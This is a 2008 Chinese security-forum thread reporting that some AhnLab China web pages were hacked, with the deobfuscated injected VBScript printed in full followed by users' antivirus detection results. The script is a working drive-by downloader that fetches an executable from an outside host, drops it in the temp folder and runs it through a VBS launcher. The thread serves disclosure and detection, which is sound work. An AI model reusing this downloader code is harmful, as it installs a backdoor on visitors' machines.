安博士部分页面被挂

显示全部楼层 · 发表于 2008-3-14 19:00:30

jdyxh.ahn.com.cn

解出

<script language=VBScript>
On Error Resume Next
cuteqq = "http://tangyong.go.51.net/w.exe"
Set cuteqq2 = document.createElement("object")
cuteqqid="clsid:"
cuteqqidx="BD96"
cuteqqid2="C556-65"
cuteqqid3="A3-11D"
cuteqqid4="0-98"
cuteqqid5="3A-00C"
cuteqqid6="04FC"
cuteqqid7="29E36"
cuteqq3="Microsoft.X"
cuteqq4="MLHTTp"
cuteqq2.SetAttribute "classid", cuteqqid&cuteqqidx&cuteqqid2&cuteqqid3&cuteqqid4&cuteqqid5&cuteqqid6&cuteqqid7
cuteqq5=cuteqq3&cuteqq4
Set lovecuteqq = cuteqq2.CreateObject(cuteqq5,"")
lovecuteqq.Open "GET", cuteqq, False
lovecuteqq.Send
Cuteqq_784378237="MicroSofts.pif"
Cuteqq_784378237s="MicroSofts.vbs"
Q784378237="Scripting."
Q784378237s="FileSyst"
Q784378237ss="emObject"
Q784378237sss="Adod"
Q784378237ssss="b.stream"
Q784378237sssss=Q784378237sss&Q784378237ssss
Set chilam = cuteqq2.createobject(Q784378237&Q784378237s&Q784378237ss,"")
Set yingying = chilam.GetSpecialFolder(2)
Cuteqq_784378237=chilam.BuildPath(yingying,Cuteqq_784378237)
Cuteqq_784378237s=chilam.BuildPath(yingying,Cuteqq_784378237s)
Set chilams = cuteqq2.createobject(Q784378237sssss,"")
chilams.type=1
chilams.Open
chilams.Write lovecuteqq.ResponseBody
chilams.Savetofile Cuteqq_784378237,2
chilams.Close
chilams.Type=2
chilams.Open
chilams.WriteText "Set Lovecuteqq = CreateObject(""Wscript.Shell"")"&vbCrLf&"Lovecuteqq.run ("""&Cuteqq_784378237&""")"
chilams.Savetofile Cuteqq_784378237s,2
chilams.Close
cute="Shell.Applica"
qq="tion"
Set cute_qq = cuteqq2.createobject(cute&qq,"")
Qq784378237="O"
Qq784378237s="p"
Qq784378237ss="e"
Qq784378237sss="n"
cute_qq.SHelLExeCuTe Cuteqq_784378237s,"","",Qq784378237&Qq784378237s&Qq784378237ss&Qq784378237sss,0
</script>
<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>
<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false">

复制代码

hxxp://tangyong.go.51.net/w.exe

avira乱报 linkscanner索性没报...

显示全部楼层 · 发表于 2008-3-14 19:04:48

BD 飘

显示全部楼层 · 发表于 2008-3-14 19:06:26

E:\pic\_PICtemp\w.rar >>RAR >>w.exe - 可能是 Win32/PcClient 木马的一个变种

显示全部楼层 · 发表于 2008-3-14 19:07:47

C:\ABC\2\w.exe - 特征码 'Backdoor.Win32.PcClient.yw' 被发现

显示全部楼层 · 发表于 2008-3-14 19:10:43

哎，做个报告吧

。。。。。。。。。

对EQSBIE还不是很熟悉

我说怎么没日志。。。。。。。。。

[ 本帖最后由 garyyan456 于 2008-3-14 19:17 编辑 ]

显示全部楼层 · 发表于 2008-3-14 19:12:07

你去看了就知道蛮有聊的

显示全部楼层 · 发表于 2008-3-14 19:12:26

Sign of "Win32:Agent-EPC [Trj]" has been found in "http://tangyong.go.51.net/w.exe" file.

显示全部楼层 · 发表于 2008-3-14 19:14:16

安博士难道想效仿东方卫士

显示全部楼层 · 发表于 2008-3-14 19:16:19

rising20.35.41未杀。

显示全部楼层 · 发表于 2008-3-14 19:17:17

安博士是来自韩国的朋友
进入国内了解到了东方卫士这个兄弟...

[病毒样本] 安博士部分页面被挂

本帖子中包含更多资源

NOD

评分

回复 5楼 garyyan456 的帖子

回复 8楼 rappar 的帖子